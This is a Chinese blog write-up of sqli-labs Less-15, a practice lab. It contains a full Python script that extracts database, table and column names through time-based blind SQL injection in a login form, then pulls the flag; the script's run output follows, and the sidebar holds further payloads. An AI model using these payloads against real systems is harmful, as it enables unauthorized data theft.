less-15 in sqli-labs

最新推荐文章于 2024-07-23 20:15:36 发布
最新推荐文章于 2024-07-23 20:15:36 发布
阅读量91 收藏
点赞数
分类专栏： # 安全学习之Sqli-Labs
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/LYJ20010728/article/details/113833724
版权

python sqli-labs ctf

Less-15 延时注入【 ’ 】
自动注入脚本

import requests
import datetime
MAXLENGTH = 20

url = "http://sqli-labs:8080/Less-15/"

def getLengthOfDatabase():
    for num in range(1,MAXLENGTH):
        payload = "admin' and if(length(database())=%s,sleep(2),1)#" % num
        data = {'uname':payload, 'passwd':"1"}
        first_time = datetime.datetime.now()    # 获得payload提交前的时间
        res = requests.post(url, data=data)
        second_time = datetime.datetime.now()   # 获得payload提交后的时间
        diference_time = (second_time - first_time).seconds     # 时间差
        if diference_time > 1:
            print("[+] 数据库的长度为 => {}".format(num))
            return num

def getNameOfDatabase(DATABASELENGTH):
    database_name = ""
    for i in range(1,DATABASELENGTH+1):
        for j in range(32,127):
            payload = "admin' and if(ascii(substr(database(),%s,1))=%s,sleep(2),1)#" % (i, j)
            data = {'uname':payload, 'passwd':"1"}
            first_time = datetime.datetime.now()
            res = requests.post(url, data=data)
            second_time = datetime.datetime.now()
            difference_time = (second_time - first_time).seconds
            if difference_time > 1:
                database_name += chr(j)
        print("[+] 数据库名为 => " + database_name)
    return database_name

def getNumberOfTables():
    for num in range(1,MAXLENGTH):
        payload = "admin' and if((select count(*) from information_schema.tables where table_schema=database())=%s,sleep(2),1)#" % num
        data = {'uname': payload, 'passwd': "1"}
        first_time = datetime.datetime.now()
        res = requests.post(url, data=data)
        second_time = datetime.datetime.now()
        difference_time = (second_time - first_time).seconds
        if difference_time > 1:
            print("[+] 数据库中表的数量为 => {}".format(num))
            return num

def getLengthOfAllTables(NUMBEROFTABLES):
    lengthofalltables_list = []
    for i in range(NUMBEROFTABLES):
        for num in range(1,MAXLENGTH):
            payload = "admin' and if(length((select table_name from information_schema.tables where table_schema=database() limit %s,1))=%s,sleep(2),1)#" % (i, num)
            data = {'uname': payload, 'passwd': "1"}
            first_time = datetime.datetime.now()
            res = requests.post(url, data=data)
            second_time = datetime.datetime.now()
            difference_time = (second_time - first_time).seconds
            if difference_time > 1:
                print("[+] 第{}张表的长度为 => {}".format(i,num))
                lengthofalltables_list.append(num)
    print("[+] 所有表的长度为 => {}".format(lengthofalltables_list))
    return lengthofalltables_list

def getNameOfAllTables(NUMBEROFTABLES,LENGTHOFTABLE_LIST):
    nameofalltables_list = []
    for i in range(NUMBEROFTABLES):
        name = ""
        for j in range(1,LENGTHOFTABLE_LIST[i]+1):
            for k in range(32,127):
                payload = "admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1))=%s,sleep(2),1)#" % (i, j, k)
                data = {'uname': payload, 'passwd': "1"}
                first_time = datetime.datetime.now()
                res = requests.post(url, data=data)
                second_time = datetime.datetime.now()
                difference_time = (second_time - first_time).seconds
                if difference_time > 1:
                    name = name + chr(k)
                    break
        nameofalltables_list.append(name)
        print("[+] 第{}张表的名字为 => {}".format(i+1,name))
    print("[+] 所有表的名字为 => {}".format(nameofalltables_list))
    return nameofalltables_list

def getNumberOfColumns(TABLE_TO_FIND):
    for num in range(1,MAXLENGTH):
        payload = "admin' and if((select count(*) from information_schema.columns where table_name='%s')=%s,sleep(2),1)#" % (TABLE_TO_FIND,num)
        data = {'uname': payload, 'passwd': "1"}
        first_time = datetime.datetime.now()
        res = requests.post(url, data=data)
        second_time = datetime.datetime.now()
        difference_time = (second_time - first_time).seconds
        if difference_time > 1:
            print("[+] {}表中列的数量为 => {}".format(TABLE_TO_FIND,num))
            return num

def getLengthOfAllColmuns(NUMBEROFCOLUMNS,TABLE_TO_FIND):
    lengthofallcolumns_list = []
    for i in range(NUMBEROFCOLUMNS):
        for num in range(1,MAXLENGTH):
            payload = "admin' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='%s' limit %s,1))=%s,sleep(2),1)#" % (TABLE_TO_FIND,i,num)
            data = {'uname': payload, 'passwd': "1"}
            first_time = datetime.datetime.now()
            res = requests.post(url, data=data)
            second_time = datetime.datetime.now()
            difference_time = (second_time - first_time).seconds
            if difference_time > 1:
                lengthofallcolumns_list.append(num)
    print("[+] {}表中列的长度分别为 => {}".format(TABLE_TO_FIND,lengthofallcolumns_list))
    return lengthofallcolumns_list

def getNameOfAllColumns(NUMBEROFTABLES,LENGTHOFCOLUMNS_LIST,TABLE_TO_FIND):
    nameofallcolumns_list = []
    for i in range(NUMBEROFCOLUMNS):
        name = ""
        for j in range(1,LENGTHOFCOLUMNS_LIST[i]+1):
            for k in range(32,127):
                payload = "admin' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='%s' limit %s,1),%s,1))=%s,sleep(2),1)#" % (TABLE_TO_FIND,i,j,k)
                data = {'uname': payload, 'passwd': "1"}
                first_time = datetime.datetime.now()
                res = requests.post(url, data=data)
                second_time = datetime.datetime.now()
                difference_time = (second_time - first_time).seconds
                if difference_time > 1:
                    name = name + chr(k)
                    break
        nameofallcolumns_list.append(name)
    print("[+] {}表中列名分别为 => {}".format(TABLE_TO_FIND,nameofallcolumns_list))
    return nameofallcolumns_list

def getData(TABLE_TO_FIND,COLUMN_TO_FIND):
    # 初始化flag的长度为1
    flag_length = 1
    flag = ""
    # 从1开始无限循环flag的长度直到找出
    while True:
        # flag中每一个字符的所有可能取值
        for k in range(32,127):
            payload = "admin' and if(ascii(substr((select %s from %s),%s,1))=%s,sleep(2),1)#" % (COLUMN_TO_FIND,TABLE_TO_FIND,flag_length,k)
            data = {'uname': payload, 'passwd': "1"}
            first_time = datetime.datetime.now()
            res = requests.post(url, data=data)
            second_time = datetime.datetime.now()
            difference_time = (second_time - first_time).seconds
            if difference_time > 1:
                # 显示flag
                flag += chr(k)
                print("[+] " + flag)
                # flag终止条件，即flag的尾端右花括号
                if chr(k) == "}":
                    print()
                    return 1
                break
        # 如果没有匹配成功，flag长度加1，继续循环
        flag_length += 1

if __name__ == '__main__':
    print("Judging the length of the database...")
    DATABASELENGTH = getLengthOfDatabase()
    print("Judging the name of the database...")
    DATABASENAME = getNameOfDatabase(DATABASELENGTH)
    print("Judging the number of tables in the {}...".format(DATABASENAME))
    NUMBEROFTABLES = getNumberOfTables()
    print("Judging the length of every table in the {}...".format(DATABASENAME))
    LENGTHOFTABLE_LIST = getLengthOfAllTables(NUMBEROFTABLES)
    print("Judging the name of every table in the {}...".format(DATABASENAME))
    NAMEOFTABLE_LIST = getNameOfAllTables(NUMBEROFTABLES,LENGTHOFTABLE_LIST)
    for i in NAMEOFTABLE_LIST:
        print("[+]{}".format(i))
    TABLE_TO_FIND = input("Select the table name:")
    if TABLE_TO_FIND not in NAMEOFTABLE_LIST:
        print("Error!")
        exit()
    print()
    NUMBEROFCOLUMNS = getNumberOfColumns(TABLE_TO_FIND)
    print("Judging the number of columns in the {}...".format(TABLE_TO_FIND))
    print("Judging the length of every column in the {}...".format(TABLE_TO_FIND))
    LENGTHOFCOLUMNS_LIST = getLengthOfAllColmuns(NUMBEROFCOLUMNS,TABLE_TO_FIND)
    print("Judging the name of every column in the {}...".format(TABLE_TO_FIND))
    NAMEOFCOLUMNS_LIST = getNameOfAllColumns(NUMBEROFTABLES,LENGTHOFCOLUMNS_LIST,TABLE_TO_FIND)
    for i in NAMEOFCOLUMNS_LIST:
        print("[+]{}".format(i))
    COLUMN_TO_FIND = input("Select the column name:")
    if TABLE_TO_FIND not in NAMEOFTABLE_LIST:
        print("Error!")
        exit()
    print("Judging the data...")
    print("[+] The flag is...")
    getData(TABLE_TO_FIND,COLUMN_TO_FIND)

注入结果

D:\Pycharm\3.9\Scripts\python.exe D:/Pycharm/3.9/SQL注入/test2.py
Judging the length of the database...
[+] 数据库的长度为 => 8
Judging the name of the database...
[+] 数据库名为 => s
[+] 数据库名为 => se
[+] 数据库名为 => sec
[+] 数据库名为 => secu
[+] 数据库名为 => secur
[+] 数据库名为 => securi
[+] 数据库名为 => securit
[+] 数据库名为 => security
Judging the number of tables in the security...
[+] 数据库中表的数量为 => 5
Judging the length of every table in the security...
[+] 第0张表的长度为 => 6
[+] 第1张表的长度为 => 10
[+] 第2张表的长度为 => 8
[+] 第3张表的长度为 => 7
[+] 第4张表的长度为 => 5
[+] 所有表的长度为 => [6, 10, 8, 7, 5]
Judging the name of every table in the security...
[+] 第1张表的名字为 => emails
[+] 第2张表的名字为 => hermesflag
[+] 第3张表的名字为 => referers
[+] 第4张表的名字为 => uagents
[+] 第5张表的名字为 => users
[+] 所有表的名字为 => ['emails', 'hermesflag', 'referers', 'uagents', 'users']
[+]emails
[+]hermesflag
[+]referers
[+]uagents
[+]users
Select the table name:hermesflag

[+] hermesflag表中列的数量为 => 2
Judging the number of columns in the hermesflag...
Judging the length of every column in the hermesflag...
[+] hermesflag表中列的长度分别为 => [2, 4]
Judging the name of every column in the hermesflag...
[+] hermesflag表中列名分别为 => ['Id', 'flag']
[+]Id
[+]flag
Select the column name:flag
Judging the data...
[+] The flag is...
[+] f
[+] fl
[+] fla
[+] flag
[+] flag{
[+] flag{3
[+] flag{32
[+] flag{327
[+] flag{327a
[+] flag{327a6
[+] flag{327a6c
[+] flag{327a6c4
[+] flag{327a6c43
[+] flag{327a6c430
[+] flag{327a6c4304
[+] flag{327a6c4304a
[+] flag{327a6c4304ad
[+] flag{327a6c4304ad5
[+] flag{327a6c4304ad59
[+] flag{327a6c4304ad593
[+] flag{327a6c4304ad5938
[+] flag{327a6c4304ad5938e
[+] flag{327a6c4304ad5938ea
[+] flag{327a6c4304ad5938eaf
[+] flag{327a6c4304ad5938eaf0
[+] flag{327a6c4304ad5938eaf0e
[+] flag{327a6c4304ad5938eaf0ef
[+] flag{327a6c4304ad5938eaf0efb
[+] flag{327a6c4304ad5938eaf0efb6
[+] flag{327a6c4304ad5938eaf0efb6c
[+] flag{327a6c4304ad5938eaf0efb6cc
[+] flag{327a6c4304ad5938eaf0efb6cc3
[+] flag{327a6c4304ad5938eaf0efb6cc3e
[+] flag{327a6c4304ad5938eaf0efb6cc3e5
[+] flag{327a6c4304ad5938eaf0efb6cc3e53
[+] flag{327a6c4304ad5938eaf0efb6cc3e53d
[+] flag{327a6c4304ad5938eaf0efb6cc3e53dc
[+] flag{327a6c4304ad5938eaf0efb6cc3e53dc}
H3rmesk1t
关注
专栏目录
sqli-labs Less-10
qq_42630215的博客
03-25 214
Less-10 Get - Blind -Time based -double quotes 基于时间的盲注 （Less-9 与Less-10的区别在于一个是单引号一个是双引号，其他判断步骤一致） 正确的直接返回，错误的时候等待5秒钟。 1.猜测数据库： ?id=1” and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+ ?id=1” a...
sqli-labs Less-24（sqli-labs闯关指南 24）—二次注入
m0_54899775的博客
12-24 1024
sqli-labs Less-24（sqli-labs闯关指南 24）—二次注入
Less10_Security_MB3.pdf
02-28
Oracle Database 10g Administration Workshop I <br>
less-9 in sqli-labs
LYJ20010728的博客
12-16 142
Less-9 延迟注入[ ’ ] 先进行注入点的测试，发现试过很多回显都是一样的，当尝试到?id=1%27%20and%20sleep(5)%20--+，发现页面在迟缓后有回显，猜测是基于’的时间盲注 解题脚本 import requests import time import datetime MAXLENGTH = 20 url = "http://sqli-labs:8080/Less-9/?id=1%27 " def getLengthOfDatabase(): for num in
sqli-labs/Less-16
m0_71299382的博客
11-18 269
sqli-labs第十六关
sqli-labs (less-16)
kukudeshuo的博客
03-11 629
sqli-labs (less-16) 进入16关，输入用户名和密码，可以看到没有数据回显 输入 uname=admin'&passwd=admin&submit=Submit #没有错误回显 uname=admin"&passwd=admin&submit=Submit #没有错误回显 没有错误回显，我们只能一个一个去猜闭合方式，利用时间盲注去判断注入点 uname=admin' and sleep(5)#&passwd=admin&submit=Su
​Sqli-labs靶场第9关详解[Sqli-labs-less-9]
m0_73615178的博客
02-24 1886
利用 order by 来测列数测显位：mysql用1,2,3,4Mysql获取相关数据：一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user()三、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os四、数据库名字-为后期猜解指定数据库下的表，列做准备-database()SQL注入-时间型盲注（Time-based blind）
从零记录sqli-labs学习过程 sqli-labs Less-3
fpxnb1的博客
03-24 2132
sqli-labs Less-3
Sqli-labs靶场第16关详解[Sqli-labs-less-16]自动化注入-SQLmap工具注入
m0_73615178的博客
03-03 728
-batch当你需要以批处理模式运行 sqlmap，避免任何用户干预 sqlmap 的运行，可以强制使用--batch这个开关。这样，当 sqlmap 需要用户输入信息时，都将会以默认参数运行。由于这题是，所以先使用burp进行抓包，然后将数据包存入txt文件中打包 用-r 选择目标txt文件爆出当前主机名称。
sqli-labs Less-23（sqli-labs闯关指南 23）—Advanced injection
m0_54899775的博客
12-23 1235
sqli-labs Less-23（sqli-labs闯关指南 23）
sqli-labs ————less -10
Fly_鹏程万里
05-11 465
Less-10查看源代码：由此可见，这里是一个基于时间注入的双引号注入。猜测数据库：http://192.168.11.136/sqli-labs/Less-10?id=1" and if (ascii(substr(database(),1,1))=115),1,sleep(5)) --+之后的猜测表名、字段名、字段值与上一关的基本相同，唯一不同之处就是“ ' ”与“ ””。这里就不再多复述了。...
Less-10（时间盲注）
m0_62094846的博客
03-28 992
和上一题差不多，就是单引号变成了双引号 ?id=1" and sleep(5)--+ 查当前数据库名 ?id=1" and if(ascii(substr(database(),1,1))>0,sleep(3),1)--+ 查表名 ?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>..
sqli labs less 16
Xiaoxiaoqiang_的博客
03-02 201
sql注入
sqli-lab-less16
Sa1nZen的博客
08-03 106
sqli-lab-less16。
sqli-labs靶场Less-10
songling515010475的专栏
08-25 344
1、访问首页，/Less-10/index.php?id=1，这里的传参点是id 探测六步 判断是否是数字形传参 判断是否有单引号闭合 判断是否是双引号闭合 判断是否单引号+括号闭合 判断是否是双引号+括号闭合 判断是否是延时盲注 http://192.168.60.142:8080/sqlilabs/Less-10/index.php?id=1 ' and sleep(10)-- qwe 分析：这里使用的是双引号闭合+延时盲注，和第9关一样的操作，只是闭合不一样。 2、使用 i..
【SQLI-Lab】-Less10
xinyue9966的博客
01-27 318
Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注）前言一、GET字符型注入二、步骤总结 前言 一、GET字符型注入 执行数据库查询，并在回显点展示。 用户可以看到数据库查询出错时的错误语句，就可以观察报错语句分析出查询语句结构，从而构造特殊的payload进行注入，并从回显点中获取想要的信息。 二、步骤 和第7题思路过程一样，不过不需要写入、闭合字段后，开始用burp suite爆，具体过程不再细讲。 盲注爆库长度payload htt
SQLi LABS Less 16 布尔盲注
热门推荐
wangyuxiang946的博客
08-14 1万+
SQLi 第十六关，SQLi-LABS Less-16，SQLi-LABS Less 16，SQLiLABS Less16，SQLi Less 16
Sqli-labs Less8-Less16
最新发布
beiweixiaotian66的博客
07-23 704
一丢丢小练习
SQLI-LABS Less-15 到 Less-16
Web学习之路
03-24 125
布尔盲注
sqli-labs-less-7
09-26
sqli-labs less-7是一个web注入实验，它是用来学习SQL注入的。在这个实验中，我们需要使用不同的注入技术来绕过应用程序的安全措施，并从数据库中获取敏感信息。在这个具体的题目中，我们需要使用UNION SELECT语句来实现注入。 根据引用和引用提供的信息，我们可以得出以下步骤： 1. 构造注入语句：在URL参数中使用单引号来闭合原始查询，然后使用UNION SELECT语句来执行额外的SQL查询。在这个例子中，注入语句是?id=-1')) union select 1,user(),database()。 2. 将查询结果导出到文件中：使用INTO OUTFILE语句将注入的查询结果导出到指定的文件路径。在这个例子中，查询的结果将被导出到文件"E:\\phpStudy_64\\phpstudy_pro\\WWW\\sqlilabs\\Less-7\\1.txt"中。 通过这些步骤，我们可以成功执行SQL注入攻击，并将查询结果保存到指定的文件中。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值